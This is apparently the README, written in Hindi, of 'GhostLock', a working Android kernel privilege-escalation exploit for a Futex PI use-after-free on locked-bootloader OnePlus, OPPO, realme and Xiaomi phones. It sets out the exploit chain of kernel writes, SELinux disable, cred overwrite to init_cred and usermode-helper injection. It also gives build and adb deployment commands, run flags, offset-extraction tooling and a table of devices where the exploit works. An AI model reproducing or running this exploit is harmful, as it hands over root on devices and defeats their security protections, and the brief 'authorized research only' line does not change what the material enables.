
4.19.152-perf+ Android कर्नेल के लिए GhostLock (CVE-2026-43499) अडैप्टर
लॉक्ड बूटलोडर वाले OnePlus/OPPO/realme डिवाइसों के लिए कर्नेल एक्सप्लॉइट। बूटलोडर अनलॉक किए बिना या बूट इमेज को संशोधित किए बिना रूट + KernelSU इंस्टॉलेशन प्राप्त करता है। मल्टी-डिवाइस ऑफसेट टेबल के साथ कर्नेल संस्करण का रनटाइम पर स्वतः पता लगाना।
CVE-2026-43499 — Futex PI (प्रायोरिटी इनहेरिटेंस) यूज़-आफ्टर-फ्री
Linux कर्नेल 2.6.39 ~ 7.1 को प्रभावित करता है। मेनलाइन 7.1 में ठीक किया गया (कमिट 3bfdc63936dd)। Android GKI 6.12.x असुरक्षित बना हुआ है।
pselect6 सिस्कॉल fd_set डेटा को कर्नेल स्टैक पर कॉपी करता है। जब इसे futex PI वेटर तंत्र के साथ जोड़ा जाता है, तो एक मुक्त स्टैक फ्रेम को rt_mutex_waiter संरचना के रूप में पुनः प्राप्त किया जा सकता है। PI चेन वॉक के दौरान rb-tree रीबैलेंस फिर नियंत्रित मानों को मनमाने कर्नेल पतों पर लिखता है।
| डिवाइस | SoC | कर्नेल | नोट्स |
|---|---|---|---|
| OnePlus 15T (PLZ110) | SM8845 | 6.12.38-...-ab14552068 | Ace 6T के समान कर्नेल। QEMU सत्यापित SP diff=-64। |
pselect स्टैक ओवरले तभी काम करता है जब मुक्त rt_mutex_waiter stack_fds बफर के उपयोगकर्ता-नियंत्रित क्षेत्र के भीतर आता है। वेटर कहाँ आता है यह कंपाइलर आउटपुट (PGO + LTO) द्वारा निर्धारित होता है, कर्नेल संस्करण द्वारा नहीं। विवरण के लिए स्टैक लेआउट देखें।
डिवाइस क्षमताओं के आधार पर स्वचालित रूप से चुने गए दो रूट पथ:
off_ashmem_misc_fops != 0 की आवश्यकता है (BSS में स्टैटिक miscdevice के साथ C ashmem)।
PI write (mode=4) → redirect miscdevice fops to fake fops (via W0 pi_tree)
configfs r/w established
→ pipe physrw (1-byte precise kernel r/w)
→ SELinux enforcing = 0 (single byte, no policycap corruption)
→ UMH: inject work_struct into system_unbound_wq
kernel executes /data/local/tmp/a/e --umh as UID 0
→ root script → ksud late-load → KSU installed
पथ B से लाभ:
selinux_state.policycap को दूषित नहीं करता (OnePlus 13 पर नेटवर्क समस्याएँ ठीक करता है)वर्तमान में उपलब्ध: OnePlus 13 (कर्नेल 6.6, C ashmem)। Rust ashmem डिवाइसों (6.12 GKI) पर उपलब्ध नहीं — miscdevice हीप-आवंटित है, पता कंपाइल समय पर अनुमानित नहीं किया जा सकता।
जब UMH ऑफसेट या C ashmem misc_fops उपलब्ध नहीं होते तब उपयोग किया जाता है।
Write 1 (mode=1) → SELinux enforcing = 0
(low byte of kernel ptr = 0x00, 8-byte write)
Write 2 (mode=2) → task->cred = init_cred
(uid=0, all capabilities)
Root shell → ksud late-load (KernelSU LKM)
→ su -c load_policy (fix SELinux policycap)
→ dynamic manager registration
App (seccomp) → Write 1 (no perf needed)
→ mini-adb connect TCP (port from /data/local/tmp/a/adb_port, default 5555)
→ adb shell: full exploit (perf works, no seccomp)
→ root → KSU → network fix
BOOT_COMPLETED → BootCompletedReceiver
├─ su available → skip (soft reboot / already rooted)
└─ no root → GhostlockService → setsid exploit --bootstrap
NFDS=320 के साथ, कर्नेल का core_sys_select 256-बाइट stack_fds बफर आवंटित करता है:
stack_fds: 0 5 10 14 | 15 20 25 29
├─in─┤─out─┤─ex──┤ ├res_in┤res_out┤res_ex┤
◄── USER CONTROLLED ──►│◄── KERNEL ZEROED ──►
एक्सप्लॉइट नकली वेटर फ़ील्ड (task, lock) को fd_set इनपुट बिटमैप्स में लिखता है। इसके काम करने के लिए, वेटर के task और lock फ़ील्ड नियंत्रणीय क्षेत्र (वर्ड 0-14) में आने चाहिए।
Ace 6T ✅ (waiter at word 2):
░░████████████████░░│░░░░░░░░░░░░░░░░░░
▲waiter t l │
task/lock controllable
RMX5070 ❌ (waiter at word 13):
░░░░░░░░░░░░░████│██████████████░░░░░░
▲ │ t l
waiter task/lock ZEROED
व्यवहार्यता नियम: वेटर वर्ड + 11 (rt_waiter_node में लॉक ऑफसेट) ≤ 14 होना चाहिए। अधिकतम व्यवहार्य वेटर वर्ड 3 है।
वेटर की स्थिति कंपाइलर के स्टैक फ्रेम लेआउट (PGO + LTO + BOLT ऑप्टिमाइज़ेशन प्रोफाइल) द्वारा निर्धारित होती है, जो प्रति SoC ब्रांच अलग-अलग होती है। समान कर्नेल संस्करण के अलग-अलग SoC पर अलग-अलग लेआउट हो सकते हैं।
सभी कर्नेल राइट इमेज के लीनियर-मैप एलियास से होकर जाते हैं:
data_addr(x) = PAGE_OFFSET + (kernel_phys_load - PHYS_OFFSET) + (x - KIMAGE_TEXT_BASE)
बूटलोडर kernel_phys_load चुनता है, इसलिए यह प्रति SoC अलग-अलग होता है और boot.img या DT में नहीं होता। struct kernel_offsets में प्रति-डिवाइस फ़ील्ड; 0 = target.h डिफ़ॉल्ट का उपयोग करें।
| SoC | kernel_phys_load |
|---|---|
| SM8845 (Ace 6T, 15T) | 0xa8000000 |
| SM8750 (OnePlus 13, OPPO Pad 4 Pro) | 0xa8000000 |
| SM8850 (OnePlus 15, Xiaomi 17) | 0xc7800000 |
गलत मान चुपचाप विफल हो जाता है — राइट फिर भी मैप की गई RAM में पहुंचता है, इसलिए कोई क्रैश नहीं होता और कोई प्रभाव नहीं पड़ता। इसे PSELECT_SHIFT समस्या मत समझिए। इसे उसी मॉडल के रूटेड यूनिट पर पढ़ें (Kernel code _stext पर शुरू होता है; _text 0x10000 नीचे है):
su -c 'grep -i "Kernel code" /proc/iomem' # c7810000-... -> 0xc7800000
अलग-अलग कर्नेल वेटर को नियंत्रणीय क्षेत्र के भीतर अलग-अलग स्थितियों पर रखते हैं। समायोजन के लिए PSELECT_SHIFT का उपयोग करें:
# Default (Ace 6T + OnePlus 15, 6.12): shift=0
/data/local/tmp/a/e
# OnePlus 13 (6.6): shift=-2
PSELECT_SHIFT=-2 /data/local/tmp/a/e
# Override kernel_phys_load for new SoCs (when /proc/iomem is not accessible):
KPHYS=0xc7800000 /data/local/tmp/a/e
check_feasibility.py का वेटर वर्ड अविश्वसनीय है: इसका फ्रेम अंकगणित सही है, लेकिन यह ज़ीरो-स्टोर से जो स्ट्रक्चर ऑफसेट निकालता है वे सही नहीं हैं (OnePlus 15 पर यह वर्ड 3 देता है; मापा गया वर्ड 2 है)। गलत शिफ्ट हर अनुमान पर कर्नेल पैनिक की कीमत चुकाती है, इसलिए इसके बजाय इसे रूटेड यूनिट पर मापें:
echo 'p:ds do_select fdsin=+0(%x1)' >> /sys/kernel/tracing/kprobe_events
echo 'p:rw rt_mutex_wait_proxy_lock waiter=%x2' >> /sys/kernel/tracing/kprobe_events
# trigger FUTEX_CMP_REQUEUE_PI, then:
# PSELECT_SHIFT = ((waiter & 0x3fff) - (fdsin & 0x3fff)) / 8 - 2
NDK=/path/to/android-ndk
$NDK/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android35-clang \
-O2 -Wall -Isrc/core -Isrc/devices -DTARGET_CONFIG_H="target.h" \
src/core/main.c src/core/util.c src/core/slide.c \
src/core/fops.c src/core/pipe_physrw.c src/core/root.c \
src/core/miniadb.c src/core/umh_root.c \
-o ghostlock -fPIE -pie -pthread
GhostLock केवल रूट प्रदान करता है। KernelSU इंस्टॉलेशन ksud पर निर्भर करता है — एक बाइनरी जिसमें प्रत्येक KMI संस्करण के लिए एम्बेडेड kernelsu.ko मॉड्यूल होते हैं। रूट स्क्रिप्ट डिवाइस पर ksud ढूंढती है और ksud late-load --kmi android16-6.12 कॉल करती है।
| विधि | चरण |
|---|
ksud के बिना, एक्सप्लॉइट रूट (uid=0) प्राप्त करता है लेकिन KSU इंस्टॉल नहीं होगा और
suस्थायी नहीं रहेगा।
# Enable ADB TCP (use any port)
adb tcpip 5555
# Push exploit binary and ADB key
adb push ghostlock /data/local/tmp/a/e && adb shell chmod 755 /data/local/tmp/a/e
adb push ~/.android/adbkey /data/local/tmp/a/adbkey
# If using a non-default ADB port (e.g. 23946):
adb shell "echo 23946 > /data/local/tmp/a/adb_port"
पहली सफल जेलब्रेक के बाद, persist.adb.tcp.port को resetprop के माध्यम से सेट किया जाता है — बाद के बूट पूरी तरह स्वचालित होते हैं।
/data/local/tmp/a/e # Full exploit (adb shell)
/data/local/tmp/a/e --bootstrap # Phone standalone (app context)
/data/local/tmp/a/e --write1 # SELinux disable only
PSELECT_SHIFT=-2 /data/local/tmp/a/e # Override stack layout shift
महत्वपूर्ण: बेहतरीन KernelSnitch टाइमिंग विश्वसनीयता के लिए बूट के 30 सेकंड के भीतर चलाएं।
केवल boot.img की आवश्यकता है — रूट की आवश्यकता नहीं, डिवाइस एक्सेस की आवश्यकता नहीं।
# 1. Extract kernel
python -c "import struct; d=open('boot.img','rb').read(); open('kernel','wb').write(d[4096:4096+struct.unpack_from('<I',d,8)[0]])"
# 2. Global symbols (kallsyms)
python tools/extract_target.py # 28 offsets, auto-validated
# 3. Struct fields (BTF)
python tools/extract_btf.py kernel # 57 offsets, auto-validated
# 4. Add to offsets.h, rebuild
कोर एक्सप्लॉइट डिवाइस-अज्ञेय है। अनुकूलन के लिए आवश्यक हो सकता है:
VA_BITS (48 बनाम 39) → target.h मेमोरी लेआउट अपडेट करेंkernel_phys_load → /proc/iomem से पढ़ें या KPHYS= एनवी वैरिएबल का उपयोग करेंcommon.h ट्यून करेंPSELECT_SHIFT → QEMU kprobe परीक्षण के माध्यम से निर्धारित करेंSTRUCT_OFFSETS_6_6 या STRUCT_OFFSETS_6_12 का उपयोग करेंUMH (call_usermodehelper) रूट पथ के लिए आवश्यक है:
off_system_unbound_wq और off_call_usermodehelper_exec_workoff_ashmem_misc_fops = ashmem_misc + 0x10 (केवल C ashmem, BSS में miscdevice.fops)केवल अधिकृत सुरक्षा अनुसंधान और शैक्षिक उद्देश्यों के लिए।
| डिवाइस | SoC | कर्नेल | स्थिति |
|---|
| OnePlus Ace 6T (PLR110) | SM8845 | 6.12.38-...-ab14275539 | काम कर रहा है |
| OnePlus Ace 6T (PLR110) | SM8845 | 6.12.38-...-ab14552068 | काम कर रहा है |
| OnePlus 15 (CPH2749) | SM8850 | 6.12.23-...-ab14541642 | काम कर रहा है |
| Xiaomi 17 (pudding) | SM8850 | 6.12.23-...-abogki463945075 | काम कर रहा है |
| Xiaomi 17 (pudding) | SM8850 | 6.12.69-...-abogki514973465 | काम कर रहा है (अगस्त 2026 अपडेट) |
| OnePlus 13 (IN2060) | SM8750 | 6.6.89-...-abogki446052083 | काम कर रहा है (PSELECT_SHIFT=-2) |
| OPPO Pad 4 Pro | SM8750 | 6.6.89-...-ab14358676 | काम कर रहा है (PSELECT_SHIFT=-2) |
| डिवाइस | SoC | कर्नेल | कारण |
|---|
| OPPO Find X9 Ultra | SM8750 | 6.12.58-android16-6 | PGO do_futex फ्रेम को हटा देता है → SP diff=+32, वेटर वर्ड=14। कोई सुरक्षित शिफ्ट मौजूद नहीं है। |
| OPPO Find X7 | — | 6.1.157 | 6.1 GKI: वेटर वर्ड 13 पर (सभी 6.1 OPLUS/GKI डिवाइस) |
| realme RMX5070 | SM6650 | 6.1.141 | 6.1 GKI: वेटर वर्ड 13 पर |
| realme RMX3852 | SM8635 | 6.1.141 | RMX5070 के समान 6.1 ब्रांच |
| OnePlus 13R / Ace 5 | SM8650 | 6.1.x | समान 6.1 ब्रांच |
| OnePlus 12 | SM8650 | 6.1.141 | 6.1 GKI: do_futex PGO इनलाइन, वेटर वर्ड=13/19 |
| OPPO Pad 5 (OPD2502) | MT6878 | 6.1.134 | समान 6.1 ब्रांच |
| OPPO PKW110 | — | 5.15.180 | do_futex फ्रेम 0x140 (सामान्य से 4.5x) → वेटर वर्ड=-29, पहुंच योग्य नहीं |
| Motorola Edge 60 Fusion | MT6878 | 6.1.145 | 6.1 GKI: वेटर वर्ड 13 पर (गैर-OPLUS, समान परिणाम) |
| iQOO Z9 5G | — | 5.15.178 | do_futex फ्रेम बहुत बड़ा, वेटर पहुंच योग्य नहीं। OPLUS डिवाइस नहीं है (vivo)। |
| ReSukiSU APK (अनुशंसित) | ReSukiSU या इस फोर्क को इंस्टॉल करें। आधिकारिक रिलीज़ libksud.so बंडल करती है। |
| CI रिलीज़ | ReSukiSU CI से ksud-aarch64-linux-android.zip डाउनलोड करें |
| स्रोत | गिनती | विधि |
|---|
| kallsyms (वैश्विक प्रतीक) | 28 | extract_target.py |
| BTF (स्ट्रक्चर फ़ील्ड्स) | 57 | extract_btf.py |
| व्युत्पन्न (समान स्ट्रक्चर, अलग उपयोग) | 9 | स्वचालित |
| स्थिरांक (निश्चित मान) | 12 | कोई निष्कर्षण आवश्यक नहीं |
| फ़ाइल | विवरण |
|---|
src/core/main.c | एक्सप्लॉइट एंट्री, Write 1/2, UMH पथ, बूटस्ट्रैप, रूट स्क्रिप्ट |
src/core/fops.c | pselect रूट, PI राइट तंत्र, CFI स्टेज |
src/core/util.c | हीप स्प्रे, kernelsnitch, स्लैब ड्रेन, पेलोड सेटअप |
src/core/pipe_physrw.c | पाइप बफर-आधारित फिजिकल मेमोरी r/w (configfs r/w को अपग्रेड करता है) |
src/core/umh_root.c | वर्कक्यू इंजेक्शन + --umh हैंडलर के माध्यम से UMH रूट |
src/core/miniadb.c | मिनी ADB क्लाइंट (TCP + RSA प्रमाणीकरण) |
src/core/common.h | टाइमिंग पैरामीटर, मैक्रोज़ |
src/core/target.h | मेमोरी लेआउट, स्ट्रक्चर फ़ील्ड डिफ़ॉल्ट (6.12) |
src/core/runtime_struct_offsets.h | प्रति-डिवाइस स्ट्रक्चर फ़ील्ड ओवरराइड (6.6 बनाम 6.12) |
src/devices/offsets.h | सभी डिवाइस ऑफसेट टेबल + STRUCT_OFFSETS_* मैक्रोज़ को एकत्रित करता है |
src/devices/<device>/offsets.h | प्रति-डिवाइस कर्नेल ऑफसेट एंट्रीज़ |
src/core/slide.c | SLIDE कर्नेल पता लीक |
src/core/root.c | रूट शेल सेटअप (पाइप physrw के माध्यम से डायरेक्ट क्रेड पैचिंग) |
tools/extract_target.py | kallsyms से ऑफसेट निष्कर्षण |
tools/extract_btf.py | BTF से स्ट्रक्चर ऑफसेट निष्कर्षण |
tools/check_feasibility.py | स्टैक लेआउट व्यवहार्यता जांचकर्ता |